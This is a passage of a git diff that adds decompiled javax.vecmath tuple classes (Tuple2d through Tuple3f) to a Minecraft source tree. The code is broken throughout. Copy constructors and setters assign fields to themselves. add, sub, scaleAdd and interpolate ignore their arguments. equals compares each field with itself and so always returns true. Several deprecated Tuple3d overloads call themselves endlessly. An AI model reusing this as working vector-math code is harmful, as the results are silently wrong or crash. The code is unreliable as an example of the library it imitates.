+
+
+
+  public String toString()
+  {
+    return "(" + x + ", " + y + ")";
+  }
+  
+
+
+
+
+
+
+
+
+  public final void clamp(double min, double max, Tuple2d t)
+  {
+    if (x > max) {
+      x = max;
+    } else if (x < min) {
+      x = min;
+    } else {
+      x = x;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else if (y < min) {
+      y = min;
+    } else {
+      y = y;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void clampMin(double min, Tuple2d t)
+  {
+    if (x < min) {
+      x = min;
+    } else {
+      x = x;
+    }
+    
+    if (y < min) {
+      y = min;
+    } else {
+      y = y;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void clampMax(double max, Tuple2d t)
+  {
+    if (x > max) {
+      x = max;
+    } else {
+      x = x;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else {
+      y = y;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void absolute(Tuple2d t)
+  {
+    x = Math.abs(x);
+    y = Math.abs(y);
+  }
+  
+
+
+
+
+
+
+
+  public final void clamp(double min, double max)
+  {
+    if (x > max) {
+      x = max;
+    } else if (x < min) {
+      x = min;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else if (y < min) {
+      y = min;
+    }
+  }
+  
+
+
+
+
+
+
+  public final void clampMin(double min)
+  {
+    if (x < min) x = min;
+    if (y < min) { y = min;
+    }
+  }
+  
+
+
+
+
+  public final void clampMax(double max)
+  {
+    if (x > max) x = max;
+    if (y > max) { y = max;
+    }
+  }
+  
+
+
+
+  public final void absolute()
+  {
+    x = Math.abs(x);
+    y = Math.abs(y);
+  }
+  
+
+
+
+
+
+
+
+
+  public final void interpolate(Tuple2d t1, Tuple2d t2, double alpha)
+  {
+    x = ((1.0D - alpha) * x + alpha * x);
+    y = ((1.0D - alpha) * y + alpha * y);
+  }
+  
+
+
+
+
+
+
+
+  public final void interpolate(Tuple2d t1, double alpha)
+  {
+    x = ((1.0D - alpha) * x + alpha * x);
+    y = ((1.0D - alpha) * y + alpha * y);
+  }
+  
+
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      return super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new InternalError();
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final double getX()
+  {
+    return x;
+  }
+  
+
+
+
+
+
+
+
+  public final void setX(double x)
+  {
+    this.x = x;
+  }
+  
+
+
+
+
+
+
+
+  public final double getY()
+  {
+    return y;
+  }
+  
+
+
+
+
+
+
+
+  public final void setY(double y)
+  {
+    this.y = y;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Tuple2f.java b/src/minecraft/javax/vecmath/Tuple2f.java
new file mode 100644
index 0000000..28e8fd4
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Tuple2f.java
@@ -0,0 +1,609 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Tuple2f
+  implements Serializable, Cloneable
+{
+  static final long serialVersionUID = 9011180388985266884L;
+  public float x;
+  public float y;
+  
+  public Tuple2f(float x, float y)
+  {
+    this.x = x;
+    this.y = y;
+  }
+  
+
+
+
+
+
+  public Tuple2f(float[] t)
+  {
+    x = t[0];
+    y = t[1];
+  }
+  
+
+
+
+
+
+  public Tuple2f(Tuple2f t1)
+  {
+    x = x;
+    y = y;
+  }
+  
+
+
+
+
+
+  public Tuple2f(Tuple2d t1)
+  {
+    x = ((float)x);
+    y = ((float)y);
+  }
+  
+
+
+
+
+  public Tuple2f()
+  {
+    x = 0.0F;
+    y = 0.0F;
+  }
+  
+
+
+
+
+
+
+  public final void set(float x, float y)
+  {
+    this.x = x;
+    this.y = y;
+  }
+  
+
+
+
+
+
+
+  public final void set(float[] t)
+  {
+    x = t[0];
+    y = t[1];
+  }
+  
+
+
+
+
+
+  public final void set(Tuple2f t1)
+  {
+    x = x;
+    y = y;
+  }
+  
+
+
+
+
+
+  public final void set(Tuple2d t1)
+  {
+    x = ((float)x);
+    y = ((float)y);
+  }
+  
+
+
+
+
+
+  public final void get(float[] t)
+  {
+    t[0] = x;
+    t[1] = y;
+  }
+  
+
+
+
+
+
+
+  public final void add(Tuple2f t1, Tuple2f t2)
+  {
+    x += x;
+    y += y;
+  }
+  
+
+
+
+
+
+  public final void add(Tuple2f t1)
+  {
+    x += x;
+    y += y;
+  }
+  
+
+
+
+
+
+
+
+  public final void sub(Tuple2f t1, Tuple2f t2)
+  {
+    x -= x;
+    y -= y;
+  }
+  
+
+
+
+
+
+
+  public final void sub(Tuple2f t1)
+  {
+    x -= x;
+    y -= y;
+  }
+  
+
+
+
+
+
+  public final void negate(Tuple2f t1)
+  {
+    x = (-x);
+    y = (-y);
+  }
+  
+
+
+
+
+  public final void negate()
+  {
+    x = (-x);
+    y = (-y);
+  }
+  
+
+
+
+
+
+
+
+  public final void scale(float s, Tuple2f t1)
+  {
+    x = (s * x);
+    y = (s * y);
+  }
+  
+
+
+
+
+
+
+  public final void scale(float s)
+  {
+    x *= s;
+    y *= s;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void scaleAdd(float s, Tuple2f t1, Tuple2f t2)
+  {
+    x = (s * x + x);
+    y = (s * y + y);
+  }
+  
+
+
+
+
+
+
+
+  public final void scaleAdd(float s, Tuple2f t1)
+  {
+    x = (s * x + x);
+    y = (s * y + y);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    long bits = 1L;
+    bits = 31L * bits + VecMathUtil.floatToIntBits(x);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(y);
+    return (int)(bits ^ bits >> 32);
+  }
+  
+
+
+
+
+
+
+  public boolean equals(Tuple2f t1)
+  {
+    try
+    {
+      return (x == x) && (y == y);
+    } catch (NullPointerException e2) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object t1)
+  {
+    try
+    {
+      Tuple2f t2 = (Tuple2f)t1;
+      return (x == x) && (y == y);
+    } catch (NullPointerException e2) {
+      return false; } catch (ClassCastException e1) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean epsilonEquals(Tuple2f t1, float epsilon)
+  {
+    float diff = x - x;
+    if (Float.isNaN(diff)) return false;
+    if ((diff < 0.0F ? -diff : diff) > epsilon) { return false;
+    }
+    diff = y - y;
+    if (Float.isNaN(diff)) return false;
+    if ((diff < 0.0F ? -diff : diff) > epsilon) { return false;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    return "(" + x + ", " + y + ")";
+  }
+  
+
+
+
+
+
+
+
+
+  public final void clamp(float min, float max, Tuple2f t)
+  {
+    if (x > max) {
+      x = max;
+    } else if (x < min) {
+      x = min;
+    } else {
+      x = x;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else if (y < min) {
+      y = min;
+    } else {
+      y = y;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void clampMin(float min, Tuple2f t)
+  {
+    if (x < min) {
+      x = min;
+    } else {
+      x = x;
+    }
+    
+    if (y < min) {
+      y = min;
+    } else {
+      y = y;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void clampMax(float max, Tuple2f t)
+  {
+    if (x > max) {
+      x = max;
+    } else {
+      x = x;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else {
+      y = y;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void absolute(Tuple2f t)
+  {
+    x = Math.abs(x);
+    y = Math.abs(y);
+  }
+  
+
+
+
+
+
+
+
+  public final void clamp(float min, float max)
+  {
+    if (x > max) {
+      x = max;
+    } else if (x < min) {
+      x = min;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else if (y < min) {
+      y = min;
+    }
+  }
+  
+
+
+
+
+
+
+  public final void clampMin(float min)
+  {
+    if (x < min) x = min;
+    if (y < min) { y = min;
+    }
+  }
+  
+
+
+
+
+  public final void clampMax(float max)
+  {
+    if (x > max) x = max;
+    if (y > max) { y = max;
+    }
+  }
+  
+
+
+
+  public final void absolute()
+  {
+    x = Math.abs(x);
+    y = Math.abs(y);
+  }
+  
+
+
+
+
+
+
+
+
+  public final void interpolate(Tuple2f t1, Tuple2f t2, float alpha)
+  {
+    x = ((1.0F - alpha) * x + alpha * x);
+    y = ((1.0F - alpha) * y + alpha * y);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void interpolate(Tuple2f t1, float alpha)
+  {
+    x = ((1.0F - alpha) * x + alpha * x);
+    y = ((1.0F - alpha) * y + alpha * y);
+  }
+  
+
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      return super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new InternalError();
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final float getX()
+  {
+    return x;
+  }
+  
+
+
+
+
+
+
+
+  public final void setX(float x)
+  {
+    this.x = x;
+  }
+  
+
+
+
+
+
+
+
+  public final float getY()
+  {
+    return y;
+  }
+  
+
+
+
+
+
+
+
+  public final void setY(float y)
+  {
+    this.y = y;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Tuple2i.java b/src/minecraft/javax/vecmath/Tuple2i.java
new file mode 100644
index 0000000..53843a0
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Tuple2i.java
@@ -0,0 +1,506 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Tuple2i
+  implements Serializable, Cloneable
+{
+  static final long serialVersionUID = -3555701650170169638L;
+  public int x;
+  public int y;
+  
+  public Tuple2i(int x, int y)
+  {
+    this.x = x;
+    this.y = y;
+  }
+  
+
+
+
+
+  public Tuple2i(int[] t)
+  {
+    x = t[0];
+    y = t[1];
+  }
+  
+
+
+
+
+
+  public Tuple2i(Tuple2i t1)
+  {
+    x = x;
+    y = y;
+  }
+  
+
+
+
+  public Tuple2i()
+  {
+    x = 0;
+    y = 0;
+  }
+  
+
+
+
+
+
+
+  public final void set(int x, int y)
+  {
+    this.x = x;
+    this.y = y;
+  }
+  
+
+
+
+
+
+  public final void set(int[] t)
+  {
+    x = t[0];
+    y = t[1];
+  }
+  
+
+
+
+
+  public final void set(Tuple2i t1)
+  {
+    x = x;
+    y = y;
+  }
+  
+
+
+
+
+  public final void get(int[] t)
+  {
+    t[0] = x;
+    t[1] = y;
+  }
+  
+
+
+
+
+  public final void get(Tuple2i t)
+  {
+    x = x;
+    y = y;
+  }
+  
+
+
+
+
+
+  public final void add(Tuple2i t1, Tuple2i t2)
+  {
+    x += x;
+    y += y;
+  }
+  
+
+
+
+
+  public final void add(Tuple2i t1)
+  {
+    x += x;
+    y += y;
+  }
+  
+
+
+
+
+
+
+  public final void sub(Tuple2i t1, Tuple2i t2)
+  {
+    x -= x;
+    y -= y;
+  }
+  
+
+
+
+
+
+  public final void sub(Tuple2i t1)
+  {
+    x -= x;
+    y -= y;
+  }
+  
+
+
+
+
+  public final void negate(Tuple2i t1)
+  {
+    x = (-x);
+    y = (-y);
+  }
+  
+
+
+
+  public final void negate()
+  {
+    x = (-x);
+    y = (-y);
+  }
+  
+
+
+
+
+
+
+  public final void scale(int s, Tuple2i t1)
+  {
+    x = (s * x);
+    y = (s * y);
+  }
+  
+
+
+
+
+
+  public final void scale(int s)
+  {
+    x *= s;
+    y *= s;
+  }
+  
+
+
+
+
+
+
+
+  public final void scaleAdd(int s, Tuple2i t1, Tuple2i t2)
+  {
+    x = (s * x + x);
+    y = (s * y + y);
+  }
+  
+
+
+
+
+
+
+  public final void scaleAdd(int s, Tuple2i t1)
+  {
+    x = (s * x + x);
+    y = (s * y + y);
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    return "(" + x + ", " + y + ")";
+  }
+  
+
+
+
+
+
+  public boolean equals(Object t1)
+  {
+    try
+    {
+      Tuple2i t2 = (Tuple2i)t1;
+      return (x == x) && (y == y);
+    }
+    catch (NullPointerException e2) {
+      return false;
+    }
+    catch (ClassCastException e1) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    long bits = 1L;
+    bits = 31L * bits + x;
+    bits = 31L * bits + y;
+    return (int)(bits ^ bits >> 32);
+  }
+  
+
+
+
+
+
+
+
+  public final void clamp(int min, int max, Tuple2i t)
+  {
+    if (x > max) {
+      x = max;
+    } else if (x < min) {
+      x = min;
+    } else {
+      x = x;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else if (y < min) {
+      y = min;
+    } else {
+      y = y;
+    }
+  }
+  
+
+
+
+
+
+
+  public final void clampMin(int min, Tuple2i t)
+  {
+    if (x < min) {
+      x = min;
+    } else {
+      x = x;
+    }
+    
+    if (y < min) {
+      y = min;
+    } else {
+      y = y;
+    }
+  }
+  
+
+
+
+
+
+
+  public final void clampMax(int max, Tuple2i t)
+  {
+    if (x > max) {
+      x = max;
+    } else {
+      x = x;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else {
+      y = y;
+    }
+  }
+  
+
+
+
+
+
+  public final void absolute(Tuple2i t)
+  {
+    x = Math.abs(x);
+    y = Math.abs(y);
+  }
+  
+
+
+
+
+
+  public final void clamp(int min, int max)
+  {
+    if (x > max) {
+      x = max;
+    } else if (x < min) {
+      x = min;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else if (y < min) {
+      y = min;
+    }
+  }
+  
+
+
+
+
+  public final void clampMin(int min)
+  {
+    if (x < min) {
+      x = min;
+    }
+    if (y < min) {
+      y = min;
+    }
+  }
+  
+
+
+
+  public final void clampMax(int max)
+  {
+    if (x > max) {
+      x = max;
+    }
+    if (y > max) {
+      y = max;
+    }
+  }
+  
+
+
+  public final void absolute()
+  {
+    x = Math.abs(x);
+    y = Math.abs(y);
+  }
+  
+
+
+
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      return super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new InternalError();
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final int getX()
+  {
+    return x;
+  }
+  
+
+
+
+
+
+
+
+  public final void setX(int x)
+  {
+    this.x = x;
+  }
+  
+
+
+
+
+
+
+
+  public final int getY()
+  {
+    return y;
+  }
+  
+
+
+
+
+
+
+
+  public final void setY(int y)
+  {
+    this.y = y;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Tuple3b.java b/src/minecraft/javax/vecmath/Tuple3b.java
new file mode 100644
index 0000000..91fa8fb
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Tuple3b.java
@@ -0,0 +1,318 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Tuple3b
+  implements Serializable, Cloneable
+{
+  static final long serialVersionUID = -483782685323607044L;
+  public byte x;
+  public byte y;
+  public byte z;
+  
+  public Tuple3b(byte b1, byte b2, byte b3)
+  {
+    x = b1;
+    y = b2;
+    z = b3;
+  }
+  
+
+
+
+
+
+  public Tuple3b(byte[] t)
+  {
+    x = t[0];
+    y = t[1];
+    z = t[2];
+  }
+  
+
+
+
+
+
+  public Tuple3b(Tuple3b t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+
+  public Tuple3b()
+  {
+    x = 0;
+    y = 0;
+    z = 0;
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    return "(" + (x & 0xFF) + ", " + (y & 0xFF) + ", " + (z & 0xFF) + ")";
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void get(byte[] t)
+  {
+    t[0] = x;
+    t[1] = y;
+    t[2] = z;
+  }
+  
+
+
+
+
+
+
+  public final void get(Tuple3b t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+
+
+
+  public final void set(Tuple3b t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+
+
+
+  public final void set(byte[] t)
+  {
+    x = t[0];
+    y = t[1];
+    z = t[2];
+  }
+  
+
+
+
+
+
+
+  public boolean equals(Tuple3b t1)
+  {
+    try
+    {
+      return (x == x) && (y == y) && (z == z);
+    } catch (NullPointerException e2) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+  public boolean equals(Object t1)
+  {
+    try
+    {
+      Tuple3b t2 = (Tuple3b)t1;
+      return (x == x) && (y == y) && (z == z);
+    } catch (NullPointerException e2) {
+      return false; } catch (ClassCastException e1) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    return (x & 0xFF) << 0 | (y & 0xFF) << 8 | (z & 0xFF) << 16;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      return super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new InternalError();
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final byte getX()
+  {
+    return x;
+  }
+  
+
+
+
+
+
+
+
+  public final void setX(byte x)
+  {
+    this.x = x;
+  }
+  
+
+
+
+
+
+
+
+  public final byte getY()
+  {
+    return y;
+  }
+  
+
+
+
+
+
+
+
+  public final void setY(byte y)
+  {
+    this.y = y;
+  }
+  
+
+
+
+
+
+
+  public final byte getZ()
+  {
+    return z;
+  }
+  
+
+
+
+
+
+
+
+  public final void setZ(byte z)
+  {
+    this.z = z;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Tuple3d.java b/src/minecraft/javax/vecmath/Tuple3d.java
new file mode 100644
index 0000000..37efa60
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Tuple3d.java
@@ -0,0 +1,758 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Tuple3d
+  implements Serializable, Cloneable
+{
+  static final long serialVersionUID = 5542096614926168415L;
+  public double x;
+  public double y;
+  public double z;
+  
+  public Tuple3d(double x, double y, double z)
+  {
+    this.x = x;
+    this.y = y;
+    this.z = z;
+  }
+  
+
+
+
+
+  public Tuple3d(double[] t)
+  {
+    x = t[0];
+    y = t[1];
+    z = t[2];
+  }
+  
+
+
+
+
+  public Tuple3d(Tuple3d t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+
+  public Tuple3d(Tuple3f t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+  public Tuple3d()
+  {
+    x = 0.0D;
+    y = 0.0D;
+    z = 0.0D;
+  }
+  
+
+
+
+
+
+
+  public final void set(double x, double y, double z)
+  {
+    this.x = x;
+    this.y = y;
+    this.z = z;
+  }
+  
+
+
+
+
+
+  public final void set(double[] t)
+  {
+    x = t[0];
+    y = t[1];
+    z = t[2];
+  }
+  
+
+
+
+
+  public final void set(Tuple3d t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+
+  public final void set(Tuple3f t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+
+
+  public final void get(double[] t)
+  {
+    t[0] = x;
+    t[1] = y;
+    t[2] = z;
+  }
+  
+
+
+
+
+
+  public final void get(Tuple3d t)
+  {
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+
+
+
+  public final void add(Tuple3d t1, Tuple3d t2)
+  {
+    x += x;
+    y += y;
+    z += z;
+  }
+  
+
+
+
+
+
+  public final void add(Tuple3d t1)
+  {
+    x += x;
+    y += y;
+    z += z;
+  }
+  
+
+
+
+
+
+
+  public final void sub(Tuple3d t1, Tuple3d t2)
+  {
+    x -= x;
+    y -= y;
+    z -= z;
+  }
+  
+
+
+
+
+
+  public final void sub(Tuple3d t1)
+  {
+    x -= x;
+    y -= y;
+    z -= z;
+  }
+  
+
+
+
+
+
+  public final void negate(Tuple3d t1)
+  {
+    x = (-x);
+    y = (-y);
+    z = (-z);
+  }
+  
+
+
+
+
+  public final void negate()
+  {
+    x = (-x);
+    y = (-y);
+    z = (-z);
+  }
+  
+
+
+
+
+
+
+
+  public final void scale(double s, Tuple3d t1)
+  {
+    x = (s * x);
+    y = (s * y);
+    z = (s * z);
+  }
+  
+
+
+
+
+
+
+  public final void scale(double s)
+  {
+    x *= s;
+    y *= s;
+    z *= s;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void scaleAdd(double s, Tuple3d t1, Tuple3d t2)
+  {
+    x = (s * x + x);
+    y = (s * y + y);
+    z = (s * z + z);
+  }
+  
+  /**
+   * @deprecated
+   */
+  public final void scaleAdd(double s, Tuple3f t1)
+  {
+    scaleAdd(s, new Point3d(t1));
+  }
+  
+
+
+
+
+
+
+  public final void scaleAdd(double s, Tuple3d t1)
+  {
+    x = (s * x + x);
+    y = (s * y + y);
+    z = (s * z + z);
+  }
+  
+
+
+
+
+
+
+  public String toString()
+  {
+    return "(" + x + ", " + y + ", " + z + ")";
+  }
+  
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    long bits = 1L;
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(x);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(y);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(z);
+    return (int)(bits ^ bits >> 32);
+  }
+  
+
+
+
+
+
+
+  public boolean equals(Tuple3d t1)
+  {
+    try
+    {
+      return (x == x) && (y == y) && (z == z);
+    } catch (NullPointerException e2) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+  public boolean equals(Object t1)
+  {
+    try
+    {
+      Tuple3d t2 = (Tuple3d)t1;
+      return (x == x) && (y == y) && (z == z);
+    } catch (ClassCastException e1) {
+      return false; } catch (NullPointerException e2) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean epsilonEquals(Tuple3d t1, double epsilon)
+  {
+    double diff = x - x;
+    if (Double.isNaN(diff)) return false;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = y - y;
+    if (Double.isNaN(diff)) return false;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = z - z;
+    if (Double.isNaN(diff)) return false;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    return true;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public final void clamp(float min, float max, Tuple3d t)
+  {
+    clamp(min, max, t);
+  }
+  
+
+
+
+
+
+
+
+  public final void clamp(double min, double max, Tuple3d t)
+  {
+    if (x > max) {
+      x = max;
+    } else if (x < min) {
+      x = min;
+    } else {
+      x = x;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else if (y < min) {
+      y = min;
+    } else {
+      y = y;
+    }
+    
+    if (z > max) {
+      z = max;
+    } else if (z < min) {
+      z = min;
+    } else {
+      z = z;
+    }
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public final void clampMin(float min, Tuple3d t)
+  {
+    clampMin(min, t);
+  }
+  
+
+
+
+
+
+
+  public final void clampMin(double min, Tuple3d t)
+  {
+    if (x < min) {
+      x = min;
+    } else {
+      x = x;
+    }
+    
+    if (y < min) {
+      y = min;
+    } else {
+      y = y;
+    }
+    
+    if (z < min) {
+      z = min;
+    } else {
+      z = z;
+    }
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public final void clampMax(float max, Tuple3d t)
+  {
+    clampMax(max, t);
+  }
+  
+
+
+
+
+
+
+  public final void clampMax(double max, Tuple3d t)
+  {
+    if (x > max) {
+      x = max;
+    } else {
+      x = x;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else {
+      y = y;
+    }
+    
+    if (z > max) {
+      z = max;
+    } else {
+      z = z;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void absolute(Tuple3d t)
+  {
+    x = Math.abs(x);
+    y = Math.abs(y);
+    z = Math.abs(z);
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public final void clamp(float min, float max)
+  {
+    clamp(min, max);
+  }
+  
+
+
+
+
+
+  public final void clamp(double min, double max)
+  {
+    if (x > max) {
+      x = max;
+    } else if (x < min) {
+      x = min;
+    }
+    
+    if (y > max) {
+      y = max;
+    } else if (y < min) {
+      y = min;
+    }
+    
+    if (z > max) {
+      z = max;
+    } else if (z < min) {
+      z = min;
+    }
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public final void clampMin(float min)
+  {
+    clampMin(min);
+  }
+  
+
+
+
+
+  public final void clampMin(double min)
+  {
+    if (x < min) x = min;
+    if (y < min) y = min;
+    if (z < min) { z = min;
+    }
+  }
+  
+  /**
+   * @deprecated
+   */
+  public final void clampMax(float max)
+  {
+    clampMax(max);
+  }
+  
+
+
+
+
+  public final void clampMax(double max)
+  {
+    if (x > max) x = max;
+    if (y > max) y = max;
+    if (z > max) { z = max;
+    }
+  }
+  
+
+
+
+  public final void absolute()
+  {
+    x = Math.abs(x);
+    y = Math.abs(y);
+    z = Math.abs(z);
+  }
+  
+  /**
+   * @deprecated
+   */
+  public final void interpolate(Tuple3d t1, Tuple3d t2, float alpha)
+  {
+    interpolate(t1, t2, alpha);
+  }
+  
+
+
+
+
+
+
+
+  public final void interpolate(Tuple3d t1, Tuple3d t2, double alpha)
+  {
+    x = ((1.0D - alpha) * x + alpha * x);
+    y = ((1.0D - alpha) * y + alpha * y);
+    z = ((1.0D - alpha) * z + alpha * z);
+  }
+  
+  /**
+   * @deprecated
+   */
+  public final void interpolate(Tuple3d t1, float alpha)
+  {
+    interpolate(t1, alpha);
+  }
+  
+
+
+
+
+
+
+  public final void interpolate(Tuple3d t1, double alpha)
+  {
+    x = ((1.0D - alpha) * x + alpha * x);
+    y = ((1.0D - alpha) * y + alpha * y);
+    z = ((1.0D - alpha) * z + alpha * z);
+  }
+  
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      return super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new InternalError();
+    }
+  }
+  
+
+
+
+
+
+
+  public final double getX()
+  {
+    return x;
+  }
+  
+
+
+
+
+
+
+
+  public final void setX(double x)
+  {
+    this.x = x;
+  }
+  
+
+
+
+
+
+
+
+  public final double getY()
+  {
+    return y;
+  }
+  
+
+
+
+
+
+
+
+  public final void setY(double y)
+  {
+    this.y = y;
+  }
+  
+
+
+
+
+
+
+  public final double getZ()
+  {
+    return z;
+  }
+  
+
+
+
+
+
+
+
+  public final void setZ(double z)
+  {
+    this.z = z;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Tuple3f.java b/src/minecraft/javax/vecmath/Tuple3f.java
new file mode 100644
index 0000000..b2c69f6
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Tuple3f.java
@@ -0,0 +1,713 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Tuple3f
+  implements Serializable, Cloneable
+{
+  static final long serialVersionUID = 5019834619484343712L;
+  public float x;
+  public float y;
+  public float z;
+  
+  public Tuple3f(float x, float y, float z)
+  {
+    this.x = x;
+    this.y = y;
+    this.z = z;
+  }
+  
+
+
+
+
+
+  public Tuple3f(float[] t)
+  {
+    x = t[0];
+    y = t[1];
+    z = t[2];
+  }
+  
+
+
+
+
+
+  public Tuple3f(Tuple3f t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+
+
+  public Tuple3f(Tuple3d t1)
+  {
+    x = ((float)x);
+    y = ((float)y);
+    z = ((float)z);
+  }
+  
+
+
+
+
+  public Tuple3f()
+  {
+    x = 0.0F;
+    y = 0.0F;
+    z = 0.0F;
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    return "(" + x + ", " + y + ", " + z + ")";
+  }
+  
+
+
+
+
+
+
+
+  public final void set(float x, float y, float z)
+  {
+    this.x = x;
+    this.y = y;
+    this.z = z;
+  }
+  
+
+
+
+
+
+
+  public final void set(float[] t)
+  {
+    x = t[0];
+    y = t[1];
+    z = t[2];
+  }
+  
+
+
+
+
+
+  public final void set(Tuple3f t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+
+
+  public final void set(Tuple3d t1)
+  {
+    x = ((float)x);
+    y = ((float)y);
+    z = ((float)z);
+  }
+  
+
+
+
+
+
+  public final void get(float[] t)
+  {
+    t[0] = x;
+    t[1] = y;
+    t[2] = z;
+  }
+  
+
+
+
+
+
+  public final void get(Tuple3f t)
+  {
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+
+
+
+  public final void add(Tuple3f t1, Tuple3f t2)
+  {
+    x += x;
+    y += y;
+    z += z;
+  }
+  
+
+
+
+
+
+  public final void add(Tuple3f t1)
+  {
+    x += x;
+    y += y;
+    z += z;
+  }
+  
+
+
+
+
+
+
+
+  public final void sub(Tuple3f t1, Tuple3f t2)
+  {
+    x -= x;
+    y -= y;
+    z -= z;
+  }
+  
+
+
+
+
+
+
+  public final void sub(Tuple3f t1)
+  {
+    x -= x;
+    y -= y;
+    z -= z;
+  }
+  
+
+
+
+
+
+  public final void negate(Tuple3f t1)
+  {
+    x = (-x);
+    y = (-y);
+    z = (-z);
